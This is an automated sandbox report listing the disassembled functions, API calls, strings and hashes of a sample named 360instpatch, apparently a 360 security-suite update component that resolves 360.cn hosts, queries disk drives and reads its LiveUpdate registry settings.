inet_addr.WS2_32(127.0.0.1), ref: 6BEEB819
_memset.LIBCMT ref: 6BEEB84E

Strings

[DNS_ResolvHost] local resolve [%s] ip:%s, xrefs: 6BEEB6E1
127.0.0.1, xrefs: 6BEEB814
[DNS_ResolvHost] proxy resolve [%s] ip:%s, xrefs: 6BEEB65B
tr.p.360.cn, xrefs: 6BEEB46E
st.p.360.cn, xrefs: 6BEEB4C9
sd.p.360.cn, xrefs: 6BEEB50D

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memset$gethostbynameinet_addr
String ID: 127.0.0.1$[DNS_ResolvHost] local resolve [%s] ip:%s$[DNS_ResolvHost] proxy resolve [%s] ip:%s$sd.p.360.cn$st.p.360.cn$tr.p.360.cn
API String ID: 771635252-1090227531
Opcode ID: a1ec6a9aa073ba1d3ef5c4151e0ce3e1ae934b5bda9eafcad429839ac263f697
Instruction ID: 2d53c3f2f00ef5ec3b5126c95bc82daf9b39fd8c4507b14cd8e69d6ba1e858cb
Opcode Fuzzy Hash: a1ec6a9aa073ba1d3ef5c4151e0ce3e1ae934b5bda9eafcad429839ac263f697
Instruction Fuzzy Hash: 8502B172D00705DBDB34CE78D8C0BAA73B9FB45704F200A6DE55686690E739E99ACB31

Function 6BEE7A1F Relevance: 13.6, APIs: 9, Instructions: 61COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000200E8,?), ref: 6BEE7A3A
OpenProcessToken.ADVAPI32(00000000), ref: 6BEE7A41
GetLastError.KERNEL32 ref: 6BEE7A4B
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 6BEE7A5B
CloseHandle.KERNEL32(?), ref: 6BEE7A68
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000), ref: 6BEE7A9C
CloseHandle.KERNEL32(?), ref: 6BEE7AA9
GetLastError.KERNEL32 ref: 6BEE7AAF
CloseHandle.KERNEL32(?), ref: 6BEE7AB7

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CloseHandle$ErrorLastProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 270471142-0
Opcode ID: 54d12814f5e272c9f7efca15d8b34012dcd4cbb24d0f9fa9d91314aed9834ed8
Instruction ID: 60d9425859b03c950156ebde5aacc983bf2845aa9dc4bd9aec333e371a0142e8
Opcode Fuzzy Hash: 54d12814f5e272c9f7efca15d8b34012dcd4cbb24d0f9fa9d91314aed9834ed8
Instruction Fuzzy Hash: 87113072910208EFDF40EFA8C848AAFBBB8EB56711B548095F509E2111E734DA4ADB70

Function 00B92210 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 144fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B22750: _vswprintf_s.LIBCMT ref: 00B22783

CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000), ref: 00B92292
DeviceIoControl.KERNEL32 ref: 00B922D8
CloseHandle.KERNEL32(00000000), ref: 00B922E3
_memset.LIBCMT ref: 00B92358
CloseHandle.KERNEL32(00000000), ref: 00B923D3

Strings

GenuineIntel:0f8bfbff, xrefs: 00B9239B
\\.\PhysicalDrive%d, xrefs: 00B92261

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CloseHandle$ControlCreateDeviceFile_memset_vswprintf_s
String ID: GenuineIntel:0f8bfbff$\\.\PhysicalDrive%d
API String ID: 759969516-2564646230
Opcode ID: dede7a64959240cd052320865eedc5a966c0f77dff32e7c560d310935a702aaf
Instruction ID: bdd62cda11430a26417ea507855e74659386048f14406c08ca13f14efcc3a900
Opcode Fuzzy Hash: dede7a64959240cd052320865eedc5a966c0f77dff32e7c560d310935a702aaf
Instruction Fuzzy Hash: 1E51B0B0909340AFD760CF24CC81BABBBE8EB89705F40496DF699D7281E77499058F5B

Function 00B82158 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B82177
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,?,00000038), ref: 00B821BD
_memset.LIBCMT ref: 00B821DF
DeviceIoControl.KERNEL32(?,0004D030,?,00000028,?,00000028,?,00000000), ref: 00B82236
_memset.LIBCMT ref: 00B8226C
CloseHandle.KERNEL32(?,?,?,?,?,?,00000038), ref: 00B822A9

Strings

\\.\PHYSICALDRIVE%d, xrefs: 00B8219D

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: _memset$CloseControlCreateDeviceFileH_prolog3Handle
String ID: \\.\PHYSICALDRIVE%d
API String ID: 1408917728-613073274
Opcode ID: fd75c50ef6adb755a87e45675c3ffb7147e72aea2f356827ecd350597da02336
Instruction ID: 1e697555e5cf013a99a4001aa7287d4f5416c7b468e4f52b7a8d9e007455f401
Opcode Fuzzy Hash: fd75c50ef6adb755a87e45675c3ffb7147e72aea2f356827ecd350597da02336
Instruction Fuzzy Hash: 14417FB190024CAFDF21EFA4DC46EEE77B8EF48704F00056AF915A7291EB349A05CB50

Function 6CD3E2B7 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 74filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD3D57F: FindClose.KERNEL32(?,?,6CD3E2C1,?,?,00000000,6CD4DE81,?,?,?,?,?,?,00000034), ref: 6CD3D599

FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6CD3E2E3
GetFullPathNameW.KERNEL32(?,00000104,?,00000000,00000000,?,?,?,?,?,?,?,?,?,00000034), ref: 6CD3E300
SetLastError.KERNEL32(0000007B,?,?,?,?,?,?,?,?,?,00000034), ref: 6CD3E313
lstrlenW.KERNEL32(?,?,?,00000000,6CD4DE81,?,?,?,?,?,?,00000034), ref: 6CD3E31E
_wcsrchr.LIBCMT ref: 6CD3E32F
_wcsrchr.LIBCMT ref: 6CD3E339

Strings

*.*, xrefs: 6CD3E2CE, 6CD3E2D3, 6CD3E2E2, 6CD3E2FF

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: Find_wcsrchr$CloseErrorFileFirstFullLastNamePathlstrlen
String ID: *.*
API String ID: 3086268848-438819550
Opcode ID: c67cb2fde4d89d3c98ac2cc17608ab03f6ec0a969a955aacbcc4bf0690b7e7cd
Instruction ID: b398e56836c64a7972a4f3bb3afb69803640ef1c30f22b5a9151f5e362c3267e
Opcode Fuzzy Hash: c67cb2fde4d89d3c98ac2cc17608ab03f6ec0a969a955aacbcc4bf0690b7e7cd
Instruction Fuzzy Hash: 1A11E2617553249BD3106B714C84B5B32BC9F4734AF041939EA5EDAFE1E770A8048BF4

Function 00B925D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B22750: _vswprintf_s.LIBCMT ref: 00B22783

CreateFileA.KERNEL32(?,00000000,00000003,00000000,00000003,00000000,00000000,?,00B9335B,?,00000064), ref: 00B92645
_memset.LIBCMT ref: 00B9267A
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00002710,?,00000000), ref: 00B926A2
_memset.LIBCMT ref: 00B926BA
CloseHandle.KERNEL32(00000000), ref: 00B92708

Strings

\\.\PhysicalDrive%d, xrefs: 00B92621

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: _memset$CloseControlCreateDeviceFileHandle_vswprintf_s
String ID: \\.\PhysicalDrive%d
API String ID: 3752575622-2935326385
Opcode ID: cab2560c468fec0bdd8a3a2e0ba8467dc8443fced5510f6d97e4fed11af7c318
Instruction ID: cb28932883379b66303a534799f414c5691e130b587a82f1438c0843aa35808c
Opcode Fuzzy Hash: cab2560c468fec0bdd8a3a2e0ba8467dc8443fced5510f6d97e4fed11af7c318
Instruction Fuzzy Hash: C7418D71504340ABE724DF68DC86EAFB3E8EFC9700F400D6DF59893181EB7499458B62

Function 6BF321AC Relevance: 9.1, APIs: 6, Instructions: 56networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 6BF321C3
_memset.LIBCMT ref: 6BF321DB
htonl.WS2_32(00000000), ref: 6BF321F2
htons.WS2_32(?), ref: 6BF321FA
htonl.WS2_32(0100007F), ref: 6BF32216
bind.WS2_32(00000000,?,00000010), ref: 6BF32222

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: htonl$_memsetbindhtonssocket
String ID:
API String ID: 2989883027-0
Opcode ID: 8b240aa60a612fdc7a044f5149b5bb28e4da8c41158fb9e57686332c86ff2253
Instruction ID: 6261ef26074cec9cd9e63f6bc604ad63e0292ba33e32da6978e0146a6a91c2a0
Opcode Fuzzy Hash: 8b240aa60a612fdc7a044f5149b5bb28e4da8c41158fb9e57686332c86ff2253
Instruction Fuzzy Hash: 6C117732950219AAEF00DBB4CC45BAE7774AF11750F404596F511E61E0D7B8DA14CBE1

Function 00B1E080 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44fileCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00B1E084
CreateFileW.KERNEL32 ref: 00B1E0AA
DeviceIoControl.KERNEL32(00000000,0022204C,00000000,00000004,00000000,00000004,00000000,00000000), ref: 00B1E0DA
CloseHandle.KERNEL32(00000000), ref: 00B1E0E3

Strings

\\.\360SelfProtection, xrefs: 00B1E099

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CloseControlCreateCurrentDeviceFileHandleProcess
String ID: \\.\360SelfProtection
API String ID: 3778458602-936859468
Opcode ID: 8d6b227864b9369c34440a4d52942a08137019cc2b45ccb73828ee706932e6b8
Instruction ID: 2434cbf576b5cb587106ddd91f46ccf39de467f25ba3137426d5a9fb8f8bc87e
Opcode Fuzzy Hash: 8d6b227864b9369c34440a4d52942a08137019cc2b45ccb73828ee706932e6b8
Instruction Fuzzy Hash: 8AF0A931744310BBE2119754EC06F6E7BA4ABC8F11F440618FB94A71D0D7B4A608C7A7

Function 00B80145 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B80152
FindResourceW.KERNEL32(00000000,?,?,DLL), ref: 00B80163
SizeofResource.KERNEL32(00000000,00000000,00000000), ref: 00B80174
LoadResource.KERNEL32(00000000,00000000), ref: 00B80180
LockResource.KERNEL32(00000000), ref: 00B8018B

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof_memset
String ID:
API String ID: 3046278646-0
Opcode ID: 59e36afb0c7abe5b8f0ffe2276911a941cd0bbf542e03d09fd92a4999c1c7909
Instruction ID: dba4878be9da4d713df398fd98cfb6d79e376aedaee0022df41488136cdb0b16
Opcode Fuzzy Hash: 59e36afb0c7abe5b8f0ffe2276911a941cd0bbf542e03d09fd92a4999c1c7909
Instruction Fuzzy Hash: CBF09072601305BFDB126FA5EC08E5B7FA8FF497A1F004024F91897120DB31D861DBA0

Function 6BEFA873 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetAdaptersInfo.IPHLPAPI(?,?), ref: 6BEFA8B3
GetTickCount.KERNEL32 ref: 6BEFA8FD
_sprintf.LIBCMT ref: 6BEFA926

Strings

%02X, xrefs: 6BEFA920

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: AdaptersCountInfoTick_sprintf
String ID: %02X
API String ID: 3280268689-436463671
Opcode ID: 60edd50907fa7a0f4acd48a66fc6165ae1f8da63333ad6af03f033b52dbbdd3b
Instruction ID: 07375db65bba9a5967532bca32bd98e935bc3d99559cc198f354f355d7c1aabd
Opcode Fuzzy Hash: 60edd50907fa7a0f4acd48a66fc6165ae1f8da63333ad6af03f033b52dbbdd3b
Instruction Fuzzy Hash: 00112972A442948BDB648FB8CC957EEB7FC9F0A348F2014ADD846D7241EB7895079B60

Function 6BF2FB95 Relevance: 3.0, APIs: 2, Instructions: 35networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32(00000000), ref: 6BF2FBB8
bind.WS2_32(?,?,?), ref: 6BF2FBD5

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: bindhtonl
String ID:
API String ID: 2721747176-0
Opcode ID: d585bb50ee3a996061f2202fc6d6b187ce26c9b119c02198c73ce4accf85f450
Instruction ID: c3491fa8a263aabbe32eee21ba852e498a3f56a37f46c5fe85b2d114b9daba39
Opcode Fuzzy Hash: d585bb50ee3a996061f2202fc6d6b187ce26c9b119c02198c73ce4accf85f450
Instruction Fuzzy Hash: EFF03076A2020AAFDF40DFB8C912FAF77B5EF15710F404466E802E71A0D774DA049791

Function 6BF2FEA4 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

listen.WS2_32(?,?), ref: 6BF2FEB9

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: listen
String ID:
API String ID: 3257165821-0
Opcode ID: 28d74ebe726d56a8fe5d021f360d327c048693722057a8e05dba7860e0f9fe70
Instruction ID: 66ec7a1a633cc91e087bcff4c3c3c1583b1b9ebceffcadf8d678245f7337b74b
Opcode Fuzzy Hash: 28d74ebe726d56a8fe5d021f360d327c048693722057a8e05dba7860e0f9fe70
Instruction Fuzzy Hash: 8DD0C972264100DFD7429F60C644A2077B5FF5A71AF2085ECA14D8A1B2C732C867DF00

Function 6BF26F71 Relevance: 56.3, APIs: 16, Strings: 16, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6BF26DCB: RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\LiveUpdate360,00000000,000F003F,6BFCC288,00000000,6BF8AC78,74DF30D0,?,6BFCC3F0,6BFCC288), ref: 6BF26DF2

RegQueryValueExW.KERNEL32(00000000,LogLevel,00000000,?,?,?,?,6BF8AC78), ref: 6BF26FE4
RegQueryValueExW.KERNEL32(?,DnsProxy,00000000,?,?,?,?,6BF8AC78), ref: 6BF27010
RegQueryValueExW.KERNEL32(?,TFWRate,00000000,?,?,?,?,6BF8AC78), ref: 6BF2703C
RegQueryValueExW.KERNEL32(?,Intranet,00000000,?,?,?,?,6BF8AC78), ref: 6BF27068
RegQueryValueExW.ADVAPI32(?,ProxyUpdateDate,00000000,?,?,?,?,6BF8AC78), ref: 6BF2709C

Strings

TFWRate, xrefs: 6BF2702B
PeerNumPerS, xrefs: 6BF270E3
UseEntModuleList, xrefs: 6BF27171
ProxyUpdateDate, xrefs: 6BF2708B
,360sdupd,360tray,360leakfixer,360safe,softmanager,360netcfg,seup,360entclient,softmgr,sdis,, xrefs: 6BF2718F, 6BF271B0, 6BF271BD
MaxUpUpdate, xrefs: 6BF27145
MaxUpSpeed, xrefs: 6BF27119
NatWLan, xrefs: 6BF27232
LogLevel, xrefs: 6BF26FD8
NatUpdate, xrefs: 6BF27206
Nat, xrefs: 6BF271D5
Intranet, xrefs: 6BF27057
DnsProxy, xrefs: 6BF26FFF
360sdUpd,360tray,360leakfixer,360safe,SoftManager,360netcfg,seup,360EntClient,SoftMgr,Sdis, xrefs: 6BF271A6
,%s,, xrefs: 6BF271AB
MaxDnSpeed, xrefs: 6BF270B7

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: QueryValue$Open
String ID: ,%s,$,360sdupd,360tray,360leakfixer,360safe,softmanager,360netcfg,seup,360entclient,softmgr,sdis,$360sdUpd,360tray,360leakfixer,360safe,SoftManager,360netcfg,seup,360EntClient,SoftMgr,Sdis$DnsProxy$Intranet$LogLevel$MaxDnSpeed$MaxUpSpeed$MaxUpUpdate$Nat$NatUpdate$NatWLan$PeerNumPerS$ProxyUpdateDate$TFWRate$UseEntModuleList
API String ID: 1606891134-779865806
Opcode ID: 7fe16b7db5fb866031b0e0b375e18b8269d3b6be586f53c028a2c785ba7f4874
Instruction ID: 1e0256fac5cb83adbdc011bebe4fd8414cc08040c225546e191b22337a0765f2
Opcode Fuzzy Hash: 7fe16b7db5fb866031b0e0b375e18b8269d3b6be586f53c028a2c785ba7f4874
Instruction Fuzzy Hash: DFB168B2D1161CAEDB11DFE5CC80DDEB7BCFB09744B20422AE915E7211E7369A058F60

Function 6BF11979 Relevance: 47.6, APIs: 19, Strings: 8, Instructions: 320
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6BF1198D
RegQueryValueExW.ADVAPI32(?), ref: 6BF119B7
_wcsrchr.LIBCMT ref: 6BF119CA
_wcsrchr.LIBCMT ref: 6BF119DA
RegCloseKey.ADVAPI32(?), ref: 6BF11A10
_memset.LIBCMT ref: 6BF11A2C
GetTempPathW.KERNEL32(00000104,?,?,6BF8AC78), ref: 6BF11A41
GetModuleFileNameW.KERNEL32(?,00000104,?,?,6BF8AC78), ref: 6BF11A75
_wcsrchr.LIBCMT ref: 6BF11A80
_memset.LIBCMT ref: 6BF11AE5
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,00000000,?,?,6BF8AC78), ref: 6BF11AF6
_wcslen.LIBCMT ref: 6BF11B01
_wcslen.LIBCMT ref: 6BF11B26
_wcsrchr.LIBCMT ref: 6BF11B3A

Strings

%s\360Safe\LiveUpdateLog\P2SP%s.log, xrefs: 6BF11C43
competition, xrefs: 6BF11CDB
p2sp init %s, xrefs: 6BF11CCC
360P2SP.dll, xrefs: 6BF11C98
SOFTWARE\360Safe\Leak, xrefs: 6BF11CE0
liveupdate360, xrefs: 6BF11B9B
[CTaskMgr::__init_global_vars] Loglevel:%u DnsProxy_enable:%u TFWRate:%d ProxyUpdateDate:%u, xrefs: 6BF11D0C
LSPKeepCloseNum:%d IsLSPMode:%d, xrefs: 6BF11D40

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
